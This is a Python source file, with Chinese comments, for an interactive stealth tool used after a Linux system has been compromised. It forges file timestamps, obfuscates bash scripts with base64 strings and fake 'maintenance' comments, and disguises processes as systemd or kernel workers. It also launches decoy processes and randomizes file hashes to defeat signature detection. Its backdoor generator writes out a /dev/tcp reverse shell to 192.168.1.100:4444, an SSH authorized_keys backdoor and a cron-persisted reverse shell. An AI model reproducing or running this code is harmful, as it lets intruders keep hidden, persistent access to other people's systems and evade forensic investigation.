#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

增强隐蔽性模块
解决文件特征固化、时间戳暴露、进程名暴露等问题
"""

import os
import sys
import stat
import time
import random
import string
import hashlib
import subprocess
from datetime import datetime, timedelta
from typing import Dict, List, Optional, Tuple

class TimestampManipulator:
    """文件时间戳伪造器"""
    
    def __init__(self, config: Dict):
        self.config = config
        
    def forge_file_timestamps(self, file_path: str, reference_file: str = None) -> bool:
        """伪造文件时间戳"""
        try:
            if reference_file and os.path.exists(reference_file):
                # 使用参考文件的时间戳
                ref_stat = os.stat(reference_file)
                target_atime = ref_stat.st_atime
                target_mtime = ref_stat.st_mtime
            else:
                # 生成合理的历史时间戳
                target_atime, target_mtime = self._generate_historical_timestamps()
            
            # 设置文件时间戳
            os.utime(file_path, (target_atime, target_mtime))
            
            print("[+] 已伪造文件时间戳: {}".format(file_path))
            return True
            
        except Exception as e:
            print("[-] 时间戳伪造失败: {}".format(e))
            return False
    
    def _generate_historical_timestamps(self) -> Tuple[float, float]:
        """生成历史时间戳"""
        # 生成30-365天前的随机时间
        days_ago = random.randint(30, 365)
        target_time = datetime.now() - timedelta(days=days_ago)
        
        # 添加随机小时和分钟
        target_time = target_time.replace(
            hour=random.randint(0, 23),
            minute=random.randint(0, 59),
            second=random.randint(0, 59)
        )
        
        timestamp = target_time.timestamp()
        return timestamp, timestamp
    
    def forge_directory_timestamps(self, directory: str) -> bool:
        """伪造目录及其内容的时间戳"""
        try:
            # 获取系统文件作为参考
            reference_files = [
                "/bin/bash", "/usr/bin/python3", "/etc/passwd",
                "/var/log/syslog", "/usr/lib/systemd/systemd"
            ]
            
            valid_refs = [f for f in reference_files if os.path.exists(f)]
            
            for root, dirs, files in os.walk(directory):
                # 伪造目录时间戳
                if valid_refs:
                    ref_file = random.choice(valid_refs)
                    self.forge_file_timestamps(root, ref_file)
                
                # 伪造文件时间戳
                for file in files:
                    file_path = os.path.join(root, file)
                    if valid_refs:
                        ref_file = random.choice(valid_refs)
                        self.forge_file_timestamps(file_path, ref_file)
            
            print("[+] 已伪造目录时间戳: {}".format(directory))
            return True
            
        except Exception as e:
            print("[-] 目录时间戳伪造失败: {}".format(e))
            return False

class ScriptObfuscator:
    """脚本混淆器"""
    
    def __init__(self, config: Dict):
        self.config = config
        self.obfuscation_techniques = [
            self._variable_name_obfuscation,
            self._string_encoding_obfuscation,
            self._control_flow_obfuscation,
            self._comment_injection,
            self._whitespace_obfuscation
        ]
    
    def obfuscate_bash_script(self, script_content: str) -> str:
        """混淆Bash脚本"""
        obfuscated = script_content
        
        # 应用多种混淆技术
        for technique in self.obfuscation_techniques:
            obfuscated = technique(obfuscated)
        
        return obfuscated
    
    def _variable_name_obfuscation(self, script: str) -> str:
        """变量名混淆"""
        # 生成随机变量名映射
        var_mapping = {}
        
        # 查找变量定义
        import re
        var_pattern = r'\b([a-zA-Z_][a-zA-Z0-9_]*)\s*='
        variables = re.findall(var_pattern, script)
        
        for var in set(variables):
            if var not in ['PATH', 'HOME', 'USER']:  # 保留系统变量
                var_mapping[var] = self._generate_random_var_name()
        
        # 替换变量名
        for old_var, new_var in var_mapping.items():
            script = re.sub(r"\b{}\b".format(old_var), new_var, script)
        
        return script
    
    def _string_encoding_obfuscation(self, script: str) -> str:
        """字符串编码混淆"""
        import re
        
        # 查找字符串
        string_pattern = r'"([^"]*)"'
        
        def encode_string(match):
            original = match.group(1)
            if len(original) < 3:  # 跳过短字符串
                return match.group(0)
            
            # Base64编码
            import base64
            encoded = base64.b64encode(original.encode()).decode()
            return f'$(echo "{encoded}" | base64 -d)'
        
        return re.sub(string_pattern, encode_string, script)
    
    def _control_flow_obfuscation(self, script: str) -> str:
        """控制流混淆"""
        # 添加无用的条件判断
        dummy_conditions = [
            'if [ $(date +%s) -gt 0 ]; then',
            'if [ -d /tmp ]; then',
            'if [ $(whoami) ]; then'
        ]
        
        lines = script.split('\n')
        obfuscated_lines = []
        
        for line in lines:
            if line.strip() and not line.strip().startswith('#'):
                # 随机添加无用条件
                if random.random() < 0.3:
                    condition = random.choice(dummy_conditions)
                    obfuscated_lines.append(condition)
                    obfuscated_lines.append('  ' + line)
                    obfuscated_lines.append('fi')
                else:
                    obfuscated_lines.append(line)
            else:
                obfuscated_lines.append(line)
        
        return '\n'.join(obfuscated_lines)
    
    def _comment_injection(self, script: str) -> str:
        """注释注入"""
        legitimate_comments = [
            "# System maintenance script",
            "# Performance optimization",
            "# Security update routine",
            "# Log rotation helper",
            "# Network configuration check",
            "# Disk cleanup utility"
        ]
        
        lines = script.split('\n')
        obfuscated_lines = []
        
        for line in lines:
            # 随机添加合法注释
            if random.random() < 0.2:
                comment = random.choice(legitimate_comments)
                obfuscated_lines.append(comment)
            
            obfuscated_lines.append(line)
        
        return '\n'.join(obfuscated_lines)
    
    def _whitespace_obfuscation(self, script: str) -> str:
        """空白字符混淆"""
        lines = script.split('\n')
        obfuscated_lines = []
        
        for line in lines:
            if line.strip():
                # 随机添加空格和制表符
                indent = random.choice(['  ', '\t', '    '])
                if not line.startswith('#'):
                    line = indent + line.lstrip()
            
            obfuscated_lines.append(line)
            
            # 随机添加空行
            if random.random() < 0.1:
                obfuscated_lines.append('')
        
        return '\n'.join(obfuscated_lines)
    
    def _generate_random_var_name(self) -> str:
        """生成随机变量名"""
        prefixes = ['sys', 'cfg', 'tmp', 'log', 'usr', 'opt']
        suffixes = ['data', 'info', 'path', 'file', 'dir', 'var']
        
        prefix = random.choice(prefixes)
        suffix = random.choice(suffixes)
        random_part = ''.join(random.choices(string.ascii_lowercase, k=3))
        
        return "{}_{}_{}".format(prefix, random_part, suffix)

class ProcessNameMasquerader:
    """进程名伪装器"""
    
    def __init__(self, config: Dict):
        self.config = config
        self.legitimate_process_names = [
            "systemd-resolved", "systemd-networkd", "systemd-logind",
            "kworker/0:1", "ksoftirqd/0", "migration/0",
            "NetworkManager", "dbus-daemon", "rsyslog",
            "cron", "ssh", "apache2", "nginx"
        ]
    
    def masquerade_process(self, script_path: str, target_name: str = None) -> str:
        """伪装进程名"""
        if not target_name:
            target_name = random.choice(self.legitimate_process_names)
        
        # 创建伪装脚本
        masquerade_script = f"""#!/bin/bash
# 进程名伪装脚本

# 方法1: 使用exec替换进程名
exec -a "{target_name}" bash "{script_path}"
        """
        
        masquerade_path = "/tmp/.{}".format(self._generate_random_string(8))
        
        with open(masquerade_path, 'w') as f:
            f.write(masquerade_script)
        
        os.chmod(masquerade_path, 0o755)
        
        print("[+] 进程伪装脚本已创建: {}".format(masquerade_path))
        print("[+] 伪装进程名: {}".format(target_name))
        
        return masquerade_path
    
    def create_decoy_processes(self, count: int = 3) -> List[int]:
        """创建诱饵进程"""
        decoy_pids = []
        
        for _ in range(count):
            process_name = random.choice(self.legitimate_process_names)
            
            # 创建长时间运行的诱饵进程
            decoy_script = f"""#!/bin/bash
exec -a "{process_name}" sleep 86400
            """
            
            decoy_path = "/tmp/.decoy_{}".format(self._generate_random_string(6))
            
            with open(decoy_path, 'w') as f:
                f.write(decoy_script)
            
            os.chmod(decoy_path, 0o755)
            
            # 启动诱饵进程
            process = subprocess.Popen([decoy_path], stdout=subprocess.DEVNULL, 
                                     stderr=subprocess.DEVNULL)
            decoy_pids.append(process.pid)
            
            print("[+] 诱饵进程已启动: {} (PID: {})".format(process_name, process.pid))
        
        return decoy_pids
    
    def _generate_random_string(self, length: int) -> str:
        """生成随机字符串"""
        return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

class FileSignatureRandomizer:
    """文件签名随机化器"""
    
    def __init__(self, config: Dict):
        self.config = config
    
    def randomize_file_signature(self, file_path: str) -> bool:
        """随机化文件签名"""
        try:
            with open(file_path, 'rb') as f:
                content = f.read()
            
            # 在文件末尾添加随机数据
            random_data = os.urandom(random.randint(10, 100))
            
            # 添加注释形式的随机数据（对于脚本文件）
            if file_path.endswith(('.sh', '.py', '.pl')):
                random_comment = "\n# {}\n".format(random.randbytes(20).hex())
                content += random_comment.encode()
            else:
                content += random_data
            
            with open(file_path, 'wb') as f:
                f.write(content)
            
            print("[+] 文件签名已随机化: {}".format(file_path))
            return True
            
        except Exception as e:
            print("[-] 文件签名随机化失败: {}".format(e))
            return False
    
    def create_polymorphic_script(self, original_script: str) -> str:
        """创建多态脚本"""
        # 生成随机的无害代码片段
        harmless_snippets = [
            "# System check routine",
            "date > /dev/null",
            "whoami > /dev/null",
            "pwd > /dev/null",
            "echo '' > /dev/null"
        ]
        
        lines = original_script.split('\n')
        polymorphic_lines = []
        
        # 在脚本中随机插入无害代码
        for line in lines:
            polymorphic_lines.append(line)
            
            if random.random() < 0.3:
                snippet = random.choice(harmless_snippets)
                polymorphic_lines.append(snippet)
        
        return '\n'.join(polymorphic_lines)

class EnhancedStealthManager:
    """增强隐蔽性总管理器"""
    
    def __init__(self, config: Dict):
        self.config = config
        self.timestamp_manipulator = TimestampManipulator(config)
        self.script_obfuscator = ScriptObfuscator(config)
        self.process_masquerader = ProcessNameMasquerader(config)
        self.signature_randomizer = FileSignatureRandomizer(config)
    
    def apply_comprehensive_stealth(self, target_file: str) -> bool:
        """应用全面隐蔽技术"""
        try:
            print("\n[*] 对文件应用隐蔽技术: {}".format(target_file))
            
            # 1. 脚本混淆
            if target_file.endswith(('.sh', '.bash')):
                print("[*] 应用脚本混淆...")
                with open(target_file, 'r') as f:
                    original_content = f.read()
                
                obfuscated_content = self.script_obfuscator.obfuscate_bash_script(original_content)
                
                with open(target_file, 'w') as f:
                    f.write(obfuscated_content)
                
                print("[+] 脚本混淆完成")
            
            # 2. 文件签名随机化
            print("[*] 随机化文件签名...")
            self.signature_randomizer.randomize_file_signature(target_file)
            
            # 3. 时间戳伪造
            print("[*] 伪造文件时间戳...")
            self.timestamp_manipulator.forge_file_timestamps(target_file)
            
            # 4. 创建进程伪装脚本
            if target_file.endswith(('.sh', '.bash')):
                print("[*] 创建进程伪装脚本...")
                masquerade_script = self.process_masquerader.masquerade_process(target_file)
                
                # 对伪装脚本也应用时间戳伪造
                self.timestamp_manipulator.forge_file_timestamps(masquerade_script)
            
            print("[+] 全面隐蔽技术应用完成")
            return True
            
        except Exception as e:
            print("[-] 隐蔽技术应用失败: {}".format(e))
            return False
    
    def stealth_deployment(self, script_content: str, deployment_path: str) -> str:
        """隐蔽部署脚本"""
        try:
            # 1. 混淆脚本内容
            obfuscated_content = self.script_obfuscator.obfuscate_bash_script(script_content)
            
            # 2. 创建多态版本
            polymorphic_content = self.signature_randomizer.create_polymorphic_script(obfuscated_content)
            
            # 3. 写入文件
            with open(deployment_path, 'w') as f:
                f.write(polymorphic_content)
            
            os.chmod(deployment_path, 0o755)
            
            # 4. 伪造时间戳
            self.timestamp_manipulator.forge_file_timestamps(deployment_path)
            
            # 5. 创建进程伪装脚本
            masquerade_script = self.process_masquerader.masquerade_process(deployment_path)
            
            print("[+] 隐蔽部署完成: {}".format(deployment_path))
            print("[+] 伪装脚本: {}".format(masquerade_script))
            
            return masquerade_script
            
        except Exception as e:
            print("[-] 隐蔽部署失败: {}".format(e))
            return None
    
    def create_stealth_backdoor_collection(self) -> Dict[str, str]:
        """创建隐蔽后门集合"""
        backdoors = {}
        
        # 基础反向Shell
        basic_shell = """#!/bin/bash
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
        """
        
        # SSH密钥后门
        ssh_backdoor = """#!/bin/bash
mkdir -p ~/.ssh
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
        """
        
        # Crontab后门
        cron_backdoor = """#!/bin/bash
(crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'") | crontab -
        """
        
        # 对每个后门应用隐蔽技术
        for name, content in [("basic_shell", basic_shell), ("ssh_backdoor", ssh_backdoor), ("cron_backdoor", cron_backdoor)]:
            obfuscated = self.script_obfuscator.obfuscate_bash_script(content)
            polymorphic = self.signature_randomizer.create_polymorphic_script(obfuscated)
            backdoors[name] = polymorphic
        
        return backdoors

def main():
    """主函数"""
    config = {
        'obfuscation_level': 'high',
        'timestamp_randomization': True,
        'process_masquerading': True
    }
    
    stealth_manager = EnhancedStealthManager(config)
    
    print("=== 增强隐蔽性工具 ===")
    print("1. 对现有文件应用隐蔽技术")
    print("2. 隐蔽部署新脚本")
    print("3. 生成隐蔽后门集合")
    print("4. 创建诱饵进程")
    
    choice = input("请选择操作: ")
    
    if choice == "1":
        target_file = input("请输入目标文件路径: ")
        if os.path.exists(target_file):
            stealth_manager.apply_comprehensive_stealth(target_file)
        else:
            print("文件不存在")
    
    elif choice == "2":
        script_content = input("请输入脚本内容: ")
        deployment_path = input("请输入部署路径: ")
        stealth_manager.stealth_deployment(script_content, deployment_path)
    
    elif choice == "3":
        backdoors = stealth_manager.create_stealth_backdoor_collection()
        print("\n=== 隐蔽后门集合 ===")
        for name, content in backdoors.items():
            print("\n{}:".format(name))
            print(content[:200] + "...")
    
    elif choice == "4":
        count = int(input("诱饵进程数量 [3]: ") or 3)
        pids = stealth_manager.process_masquerader.create_decoy_processes(count)
        print("已创建 {} 个诱饵进程".format(len(pids)))
    
    else:
        print("无效选择")

if __name__ == "__main__":
    main()